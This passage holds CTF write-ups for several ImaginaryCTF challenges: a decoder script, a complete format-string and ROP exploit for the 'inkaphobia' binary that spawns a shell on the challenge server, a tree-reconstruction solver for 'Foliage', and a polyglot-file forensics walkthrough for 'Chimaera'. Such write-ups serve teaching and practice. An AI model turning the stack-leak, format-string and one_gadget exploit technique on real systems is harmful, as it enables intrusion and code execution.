(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),
(0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0),
(-1, 0, -1, 1, 1, 1, -1, 0, 1, -1, -1, 0, -1, 0, 1, 1),
(0, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, 0, 1, -1, 0),
(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),
(0, 0, 1, 1, -1, 1, -1, 0, 1, 1, -1, 1, 1, 1, -1, -1),
(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),
(-1, 1, 0, -1, 1, 1, 1, 0, 1, -1, 0, 0, -1, 1, 0, -1),
(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),
(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),
(0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1),
(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),
(0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1),
(0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0),
(0, 0, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, 0, 1, 0, 0),
(0, -1, 0, 0, -1, -1, -1, -1, -1, 0, -1, 0, -1, 0, 0, -1),
(0, -1, 0, -1, 1, 1, 0, 1, -1, 1, 1, 0, 0, 1, -1, -1),
(0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, -1, 1, -1, 0),
(0, 0, 1, -1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, -1),
(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),
(0, 0, -1, 1, -1, 0, 0, 0, -1, -1, -1, 1, -1, 1, 1, -1),
(1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1),
(0, 0, 1, 0, -1, 1, -1, -1, 0, 0, 1, 1, -1, -1, 0, -1),
(0, 1, 0, 1, -1, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, 0),
(0, 0, 0, 0, -1, 1, 0, -1, -1, -1, 1, 1, -1, -1, 0, 0),
(1, 1, 1, 1, -1, 1, 1, 0, -1, 0, 0, -1, 1, 0, -1, 1),
(0, -1, 1, -1, 1, 0, 1, -1, -1, 0, -1, -1, 0, 0, -1, -1),
(1, 1, 1, 0, -1, 0, -1, -1, 1, 1, -1, 1, 0, 0, 0, -1),
(0, -1, -1, -1, 1, -1, 1, 1, -1, -1, 0, 0, 0, -1, -1, 0),
(0, 0, -1, -1, -1, -1, -1, 1, 1, 0, -1, -1, 0, -1, -1, 1)
]
dicted = {}
for i in range(127):
random.seed(chr(i))
tmp = []
for j in range(16):
tmp.append(random.randint(-1, 1))
dicted[tuple(tmp)] = i
out = ''
for arr in superarray:
out += chr(dicted[arr])
print(out[::-1])
🐍🐍🐍🐍🐍🐍 Flag
$ python3 inner.py
ictf{n3st1ng_d0lls_1n_4_5nak3_n3st}
inkaphobia (12 solves, 300 points)
by JaGoTu
Description
Seems that random.org limits how much entropy you can use per day. So why not reuse entropy?
Attachments
* inkaphobia
* libc.so.6
nc chal.imaginaryctf.org 42008
Author
Eth007
Points
300
Preparations
We are given an executable ELF file and the libc used on the remote server. If we run the libc as an executable it prints out the detailed version number, which can be useful for hunting down the appropriate ld and/or figuring out what heap attacks are possible.
$ file inkaphobia
inkaphobia: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94d52866ffae8870328062ac5dee4cfd5f884469, not stripped
$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=099b9225bcb0d019d9d60884be583eb31bb5f44e, for GNU/Linux 3.2.0, stripped
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
I'll use pwninit to get the proper ld:
$ pwninit --no-patch-bin --no-template --libc libc.so.6
bin: ./inkaphobia
libc: libc.so.6
fetching linker
unstripping libc
eu-unstrip: cannot find matching section for [16] '.text'
eu-unstrip: cannot find matching section for [17] '__libc_freeres_fn'
eu-unstrip: cannot find matching section for [18] '.rodata'
eu-unstrip: cannot find matching section for [19] '.stapsdt.base'
eu-unstrip: cannot find matching section for [20] '.interp'
eu-unstrip: cannot find matching section for [21] '.eh_frame_hdr'
eu-unstrip: cannot find matching section for [22] '.eh_frame'
eu-unstrip: cannot find matching section for [23] '.gcc_except_table'
eu-unstrip: cannot find matching section for [24] '.tdata'
eu-unstrip: cannot find matching section for [25] '.tbss'
eu-unstrip: cannot find matching section for [26] '.init_array'
eu-unstrip: cannot find matching section for [27] '.data.rel.ro'
eu-unstrip: cannot find matching section for [28] '.dynamic'
eu-unstrip: cannot find matching section for [29] '.got'
eu-unstrip: cannot find matching section for [30] '.got.plt'
eu-unstrip: cannot find matching section for [31] '.data'
eu-unstrip: cannot find matching section for [32] '__libc_subfreeres'
eu-unstrip: cannot find matching section for [33] '__libc_IO_vtables'
eu-unstrip: cannot find matching section for [34] '__libc_atexit'
eu-unstrip: cannot find matching section for [35] '.bss'
eu-unstrip: cannot find matching section for [36] '__libc_freeres_ptrs'
warning: failed unstripping libc: eu-unstrip exited with failure: exit status: 1
setting ./ld-2.31.so executable
The unstripping fails, but that's not a big deal, important is we got the ld-2.31.so.
After that, I generate my exploit template using pwn template:
$ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobia >inkaphobia.py
And lastly modify it to use the correct libc, replacing the line in the generated start_local with:
return process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)`
We are now ready to work on the exploit locally:
$ python3 inkaphobia.py LOCAL
[*] '/home/jagotu/ctf/imaginary/inkaphobia'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './ld-2.31.so': pid 2456
[*] Switching to interactive mode
Welcome to my RNG service!
Enter max value: $ 42
Random number: 2
Enter max value: $
[*] Interrupted
Reversing
Throwing the binary into IDA and renaming a few things here and there, we are left with with the following two important methods:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int random_value; // [rsp+Ch] [rbp-214h] BYREF
char s[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v7; // [rsp+218h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
mprotect(&abort, 0x2500000uLL, 5);
puts("Welcome to my RNG service!");
seed = time(0LL);
srand(seed);
random_value = rand();
dorng((__int64)&random_value);
puts("Thanks for visiting our RNG! What's your name?");
fgets(s, 512, stdin);
printf("Thanks for coming, ");
printf(s);
return 0;
}
void __fastcall dorng(__int64 a1)
{
int i; // [rsp+14h] [rbp-21Ch]
__int64 v2; // [rsp+18h] [rbp-218h]
char s[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 canary; // [rsp+228h] [rbp-8h]
canary = __readfsqword(0x28u);
for ( i = 0; i <= 5; ++i )
{
printf("Enter max value: ");
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 127 || v2 <= 0 )
{
puts("Go away.");
exit(0);
}
printf("Random number: %ld\n", a1 % v2);
}
}
After some basic setvbuf and a weird mprotect call (which I have no idea why it's there), a random value gets generated and stored in random_value. However, dorng is called with &random_value, a.k.a the pointer to random_value and not the generated number itself. The pointer is never dereferenced in dorng, so dorng allows us to leak information about a pointer to the stack 💣.
After dorng happens, there's a printf on an arbitrary user string, resulting in a format string vulnerability 💣. I won't explain in detail how these work, because there's a lot of good material out there, but this bug allows us to do arbitrary reads and writes.
Plan of attack
We can use the dorng function to leak a1 % n for 6 different values of n given they are <= 127. If we choose 6 different big primes, using the chinese remainder theorem we can calculate a1 modulo the product of all the primes. The biggest primes <= 127 are [101, 103, 107, 109, 113, 127], resulting in getting a1 modulo 101*103*107*109*113*127 = 1741209542339 = 0x195682D1EC3. As we know stack addresses always begin with 0x7f, that is enough to get the exact value of the stack pointer.
After we have a stack pointer leak, we can find the return address relative to it, and overwrite it with the address of main. This way we get unlimited loops of the target.
We need at least two loops, cause we will leak the address of libc in the first iteration and then overwrite the return address with one_gadget in the second iteration.
Implementation
First, let's explain some implementation details:
For creating the printf payloads, I use pwntools' fmtstr_payload. However, it doesn't support leaking information, only writes. As we need to leak the libc at the same time we overwrite the return address, I just duct-taped a prefix and suffix to the generated payload with the correct (hardcoded) offsets.
As some libc functions expect the stack to be 16-byte aligned (a.k.a the MOVAPS issue), to properly loop we need to add a ret gadget call before returning to main.
The one_gadget I was using was this one:
0xe6e79 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
rdx was already NULL, so we just needed to pop NULL into rsi. Also, the procedure saves
something using an rbp offset, so we need to fix rbp to point somewhere legit. Usually I point it randomly into the libc data section, but as we had a stack leak, I just pointer rbp back on stack.
This is the resulting exploit:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobia
from pwn import *
from functools import reduce
import math
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./inkaphobia')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'chal.imaginaryctf.org'
port = int(args.PORT or 42008)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def chinese_remainder(n, a):
sum=0
prod=reduce(lambda a, b: a*b, n)
for n_i, a_i in zip(n,a):
p=prod//n_i
sum += a_i* mul_inv(p, n_i)*p
return sum % prod
def mul_inv(a, b):
b0= b
x0, x1= 0,1
if b== 1: return 1
while a>1 :
q=a// b
a, b= b, a%b
x0, x1=x1 -q *x0, x0
if x1<0 : x1+= b0
return x1
def leak_stack():
a = []
n = [ 101, 103, 107, 109, 113, 127,]
for i in n:
io.sendlineafter(b'value:', str(i).encode())
io.recvuntil(b'number: ')
a.append(int(io.recvline().strip()))
mod = chinese_remainder(n,a)
total = math.prod(n)
res = mod
while res < 0x7f0000000000:
res += total
return res
def exec_fmt(payload):
io.sendlineafter('?', payload)
io.recvuntil(b"coming, ")
return io.recvuntil(b"Welc")[4:]
libc = ELF('./libc.so.6')
ret_gadget = 0x4006de
offset = 8
io = start()
#1. leak libc and ret back to main
stack = leak_stack()
ret = stack + 0x21C
payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAA%22$6s" + fmtstr_payload(offset+4, {
ret: ret_gadget,
ret+8: exe.symbols['main']
}, numbwritten=32) + p64(exe.got['printf'])
printf_leak = u64(exec_fmt(payload)[22:22+6].ljust(8, b'\x00'))
libc.address= printf_leak - libc.symbols['printf']
pop_rsi = libc.address + 0x27529
pop_rbp = libc.address + 0x256c0
one_gadget = libc.address + 0xe6e79
#2. fix rsi and rbp, ret to one_gadget
stack = leak_stack()
ret = stack + 0x21C
payload = fmtstr_payload(offset, {
ret: pop_rsi,
ret+8: 0,
ret+16: pop_rbp,
ret+24: stack,
ret+32: one_gadget
})
io.sendlineafter('?', payload)
io.recvuntil(b"coming, ")
io.interactive()
Flag
$ python3 inkaphobia.py
[*] '/home/jagotu/ctf/imaginary/inkaphobia'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/jagotu/ctf/imaginary/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chal.imaginaryctf.org on port 42008: Done
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
\xa0 \x00 \x00 \x13 A A % 7 l 9 % 4 6 n h 4caaaap\xab0\x05\x7f$ id
uid=1000 gid=1000 groups=1000
$ cat flag.txt
ictf{th3_3ntr0py_th13f_str1k3s!_38ba8f19}
$
[*] Interrupted
[*] Closed connection to chal.imaginaryctf.org port 42008
Foliage (8 solves, 400 points)
by JaGoTu
Description
Description
Welcome to the woods. Consider yourself lost with only one way out. It's dangerous out here, take this binary
Attachments
* foliage
nc chal.imaginaryctf.org 42013
Author
Robin_Jadoul
Points
400
Reversing
We are given an executable ELF file:
$ file foliage
foliage: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=639edeae48962dc684b788202f5a326e8b5142f8, for GNU/Linux 3.2.0, not stripped
Let's throw it straight into IDA. After a bit of renaming we get the following important functions:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int ready_answer; // [rsp+8h] [rbp-48h] BYREF
int v5; // [rsp+Ch] [rbp-44h] BYREF
int i; // [rsp+10h] [rbp-40h]
int j; // [rsp+14h] [rbp-3Ch]
__int64 rand1; // [rsp+18h] [rbp-38h] BYREF
__int64 rand2; // [rsp+20h] [rbp-30h] BYREF
__int64 rand2_stored; // [rsp+28h] [rbp-28h] BYREF
tree_ele *nodes; // [rsp+30h] [rbp-20h]
tree_ele *v12; // [rsp+38h] [rbp-18h]
tree_ele *v13; // [rsp+40h] [rbp-10h]
unsigned __int64 v14; // [rsp+48h] [rbp-8h]
v14 = __readfsqword(0x28u);
alarm(0x1Eu);
init_rnd(&rand1, &rand2);
printf("Your seed: %lu\n", rand1);
fflush(stdout);
nodes = calloc(500001uLL, sizeof(tree_ele));
init_tree(nodes, &rand1, &rand2);
printf("Ready? ");
fflush(stdout);
__isoc99_scanf("%d", &ready_answer);
if ( ready_answer != 42 )
exit(1);
rand2_stored = rand2;
for ( i = 0; i < 50000; ++i )
{
do
{
do
v13 = subtrees[choice(500001u, &rand2)];
while ( !v13->left );
}
while ( !v13->right );
printf("%d %d\n", v13->left->important_ptr->node_id, v13->right->important_ptr->node_id);
}
printf("Answers? ");
fflush(stdout);
for ( j = 0; j < 50000; ++j )
{
do
{
do
v12 = subtrees[choice(500001u, &rand2_stored)];
while ( !v12->left );
}
while ( !v12->right );
__isoc99_scanf("%d", &v5);
if ( v12->node_id != v5 )
{
puts("Wrong!");
return 1;
}
}
print_flag();
return 0;
}
int __fastcall init_rnd(uint64_t *rand1, uint64_t *rand2)
{
FILE *stream; // [rsp+18h] [rbp-8h]
stream = fopen("/dev/urandom", "r");
if ( !stream )
{
fwrite("Could not open /dev/urandom, please contact an operator.\n", 1uLL, 0x39uLL, stderr);
exit(1);
}
fread(rand1, 8uLL, 1uLL, stream);
fread(rand2, 8uLL, 1uLL, stream);
return fclose(stream);
}
void __fastcall init_tree(tree_ele *tree, __int64 *rand1, __int64 *rand2)
{
tree_ele *v3; // rax
int i1; // eax
int i2; // eax
int i; // [rsp+2Ch] [rbp-24h]
signed int j; // [rsp+30h] [rbp-20h]
int built_offset; // [rsp+34h] [rbp-1Ch]
tree_ele *cur_subtree; // [rsp+38h] [rbp-18h]
for ( i = 0; i < 500001; ++i )
{
subtrees[i] = tree;
subtrees[i]->node_id = i;
v3 = subtrees[i];
v3->right = 0LL;
subtrees[i]->left = v3->right;
subtrees[i]->important_ptr = subtrees[i];
++tree;
}
j = 250001;
built_offset = 0;
while ( j <= 500000 )
{
cur_subtree = subtrees[j];
i1 = choice(j - built_offset, rand1);
swap(i1 + built_offset, built_offset);
i2 = choice(j - built_offset - 1, rand1);
swap(built_offset + 1 + i2, built_offset + 1);
cur_subtree->left = subtrees[built_offset];
cur_subtree->right = subtrees[built_offset + 1];
cur_subtree->important_ptr = subtrees[decide(built_offset, built_offset + 1, j++, rand2)]->important_ptr;
built_offset += 2;
}
}
unsigned __int64 __fastcall choice(unsigned int max, _QWORD *rng_state)
{
return lcg(rng_state) % max;
}
__int64 __fastcall decide(unsigned int a1, unsigned int a2, unsigned int a3, _QWORD *rndstate)
{
unsigned __int64 v4; // rax
v4 = lcg(rndstate) % 3uLL;
if ( v4 == 2 )
return a3;
if ( v4 > 2 )
{
fwrite("This cannot happen, what??\n", 1uLL, 0x1BuLL, stderr);
exit(1);
}
if ( v4 )
return a2;
else
return a1;
}
__int64 __fastcall lcg(_QWORD *rng_state)
{
*rng_state = 0x5851F42D4C957F2DLL * *rng_state + 1;
return *rng_state;
}
To sum it up:
- Two random 64-bit values are read from
/dev/urandom. We'll call them rand1 and rand2. - The binary gives us rand1.
- Both rand1 and rand2 are used to create 500001 nodes and connect them into binary trees, more details later.
- Rand2-based randomness is used to get 50000 random nodes that have both a left and right son, and we are given
node->left->important_ptr->node_idandnode->right->important_ptr->node_id. - For each of the 50000 questions we need to answer with
node->node_id. - We get flag.
So to be able to answer the questions, we need to figure out how the tree is generated and what the meaning behind important_ptr is.
Building the tree
Let's work through the init_tree function now. First, all 500001 nodes are initialized such that they have no children and important_ptr points to self. The important part is the while loop:
j = 250001;
built_offset = 0;
while ( j <= 500000 )
{
cur_subtree = subtrees[j];
i1 = choice(j - built_offset, rand1);
swap(i1 + built_offset, built_offset);
i2 = choice(j - built_offset - 1, rand1);
swap(built_offset + 1 + i2, built_offset + 1);
cur_subtree->left = subtrees[built_offset];
cur_subtree->right = subtrees[built_offset + 1];
cur_subtree->important_ptr = subtrees[decide(built_offset, built_offset + 1, j++, rand2)]->important_ptr;
built_offset += 2;
}
As we want to built the same tree locally and we only know rand1, it's also important to note that rand2 is only used for setting the value of important_ptr.
What the algorithm does is it iteratively walks through the array starting at 250001, picks up two random nodes before the current one that dont have a parent yet and puts them as children of the current one. It puts the already parented nodes at the beginning array, moving built_offset as to not consider them anymore:
So, what about the important_ptr? Each node "inherits" one of the important_ptr of itself (which points to itself), or of its left son, or of its right son. As this choice is made based on rand2, we can't predict it, as only rand1 is leaked. However, if we for example take the important_ptr of our left son, that son also had to point either to itself or inherit from one of its sons. Eventually, you have to reach a node that has no sons, and that one was never made a parent and as such has to still be pointing to itself, as that's what it was inited to. The result is, node->important_ptr always points to a random node in the subtree implied by node (either the node itself or any of its descendants).
Answering the questions
Back to our questions then. We know that we're looking for a node with a specific node->left->important_ptr->node_id and node->right->important_ptr->node_id. That means we're looking for a node such that the first node_id is in its left subtree and the second node_id is in its right subtree. Only one such node can exist though, and it's the Lowest common ancestor (LCA) of the two nodes, which is a known graph theory problem: https://en.wikipedia.org/wiki/Lowest_common_ancestor.
As 50000 doesn't like a very huge number, we hope we'll just get away with the simple way of finding LCA, that is by just finding the first intersection of the paths from v and w to the root.
So, to answer the questions, we read the rand1, use it to built the same tree, however unlike the given implementation we also remember a pointer to the parent, as otherwise finding the path to root would be very painful.
When we did the first implementation, it was too slow. Originally, we used the following implementation of get_node(i):
def get_node(i):
i = int(i)
for node in nodes:
if node.index == i:
return node
So we replaced it with something a bit more clever:
nodict = [None] * 500001
for node in nodes:
nodict[node.index] = node
def get_node(i):
i = int(i)
return nodict[i]
Second improvement we did was we added caching for the path to root calculations. We're not sure if it was necessary, but it was a simple change. After these changes we get the following solver:
from pwn import *
#io = process('./foliage')
io = remote('chal.imaginaryctf.org', 42013)
io.recvuntil(b'seed: ')
seeded = int(io.recvline())
seed0 = [seeded]
def lcg(seed):
seed[0] = ((0x5851F42D4C957F2D * seed[0]) + 1) & 0xFFFFFFFFFFFFFFFF
return seed[0]
def choice(max, seed):
return lcg(seed) % max
def swap(nodes, i, j):
tmp = nodes[i]
nodes[i] = nodes[j]
nodes[j] = tmp
class Node():
def __init__(self, i):
self.left = None
self.right = None
self.index = i
self.parent = None
self.path = None
def path_up(self):
if self.path is None:
if self.parent is None:
self.path = [self.index]
else:
self.path = [self.index] + self.parent.path_up()
return self.path
nodes = []
for i in range(500001):
nodes.append(Node(i))
built_offset = 0
for j in range(250001, 500001):
i1 = choice(j-built_offset, seed0)
swap(nodes, i1+built_offset, built_offset)
i2 = choice(j-built_offset-1, seed0)
swap(nodes, i2+built_offset+1, built_offset+1)
nodes[j].left = nodes[built_offset]
nodes[j].left.parent = nodes[j]
nodes[j].right = nodes[built_offset+1]
nodes[j].right.parent = nodes[j]
built_offset += 2
nodict = [None] * 500001
for node in nodes:
nodict[node.index] = node
print("built!")
def get_node(i):
i = int(i)
return nodict[i]
def get_up(n):
res = []
while n is not None:
res.append(n.index)
n = n.parent
return res
def find(a, b):
aa = get_node(a).path_up()
bb = get_node(b).path_up()
for x in aa:
if x in bb:
return x
return -1
io.sendlineafter(b'Ready?', b'42')
tasks = io.recvuntil('Answers? ').strip().decode().split('\n')[:-1]
answer = b''
for task in tasks:
(a, b) = task.split(' ')
res = find(a, b)
answer += str(res).encode() + b'\n'
print("done, sending answer")
io.send(answer)
io.interactive()
$ python3 foliage.py
[+] Opening connection to chal.imaginaryctf.org on port 42013: Done
built!
/home/jagotu/ctf/imaginary/foliage.py:94: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
tasks = io.recvuntil('Answers? ').strip().decode().split('\n')[:-1]
done, sending answer
[*] Switching to interactive mode
ictf{I_can_f1n4lly_see_the_forest_through_the_tr33s}
[*] Got EOF while reading in interactive
$
Chimaera (8 solves, 300 points)
by adragos
We are given a PDF file named chimaera.pdf, when we open it in a normal PDF viewer we only get a red flag.
Trying the file command on the file shows us that:
$ file chimaera.pdf
chimaera.pdf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
So the file is a ELF 64-bit binary, let's try to run it:
$ ./chimaera.pdf
ictf{thr33_
Looks like we got the first part of the flag
Next, we can use pdf2txt to find out if there are any characters hidden inside the pdf:
$ pdf2txt chimaera.pdf
jctf{red_flags_are_fake_flags}
h34ds_l
And it looks like we got the 2nd part of the flag, we now have ictf{thr33_h34ds_l}
Running binwalk on the file:
$ binwalk chimaera.pdf
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
600 0x258 Zip archive data, at least v1.0 to extract, compressed size: 5139, uncompressed size: 5139, name: chimaera.pdf
So there's a zip file, if we unzip it with 7-zip we get only a pdf file and a fake flag.
Let's look closely:
00001490: 5f66 6c61 6773 7d50 4b03 040a 0000 000d _flags}PK.......
000014a0: 0000 0000 000d c613 9321 0000 000d 0000 .........!......
000014b0: 0000 0000 0009 0405 005d 0000 8000 0018 .........]......
000014c0: 9ac2 6601 8f45 607e c89c e051 6589 87dc ..f..E`~...Qe...
000014d0: ffff 072c 0000 504b 0102 0a00 0000 0000 ...,..PK........
Seems like there is another piece of data which appears to be corrupted, let's isolate it
00000000: 504b 0304 0a00 0000 0d00 0000 0000 0dc6 PK..............
00000010: 1393 2100 0000 0d00 0000 0000 0000 0904 ..!.............
00000020: 0500 5d00 0080 0000 189a c266 018f 4560 ..]........f..E`
00000030: 7ec8 9ce0 5165 8987 dcff ff07 2c00 00 ~...Qe......,..
Notice that the compression method is 0x0d = 13, which per this table:
4.4.5 compression method: (2 bytes)
0 - The file is stored (no compression)
1 - The file is Shrunk
2 - The file is Reduced with compression factor 1
3 - The file is Reduced with compression factor 2
4 - The file is Reduced with compression factor 3
5 - The file is Reduced with compression factor 4
6 - The file is Imploded
7 - Reserved for Tokenizing compression algorithm
8 - The file is Deflated
9 - Enhanced Deflating using Deflate64(tm)
10 - PKWARE Data Compression Library Imploding (old IBM TERSE)
11 - Reserved by PKWARE
12 - File is compressed using BZIP2 algorithm
13 - Reserved by PKWARE
14 - LZMA
15 - Reserved by PKWARE
16 - IBM z/OS CMPSC Compression
17 - Reserved by PKWARE
18 - File is compressed using IBM TERSE (new)
19 - IBM LZ77 z Architecture
20 - deprecated (use method 93 for zstd)
93 - Zstandard (zstd) Compression
94 - MP3 Compression
95 - XZ Compression
96 - JPEG variant
97 - WavPack compressed data
98 - PPMd version I, Rev 1
99 - AE-x encryption marker (see APPENDIX E)
Is not really a valid compression method. I changed the compression method to LZMA because it was closer to it and when decompressing with 7-zip we get the last piece of the flag:
The "good" zip file:
00000000: 504b 0304 0a00 0000 0e00 0000 0000 0dc6 PK..............
00000010: 1393 2100 0000 0d00 0000 0000 0000 0904 ..!.............
00000020: 0500 5d00 0080 0000 189a c266 018f 4560 ..]........f..E`
00000030: 7ec8 9ce0 5165 8987 dcff ff07 2c00 00 ~...Qe......,..
The third piece of the flag: 1k3_kerber0s}
The final flag: ictf{thr33_h34ds_l1k3_kerber0s}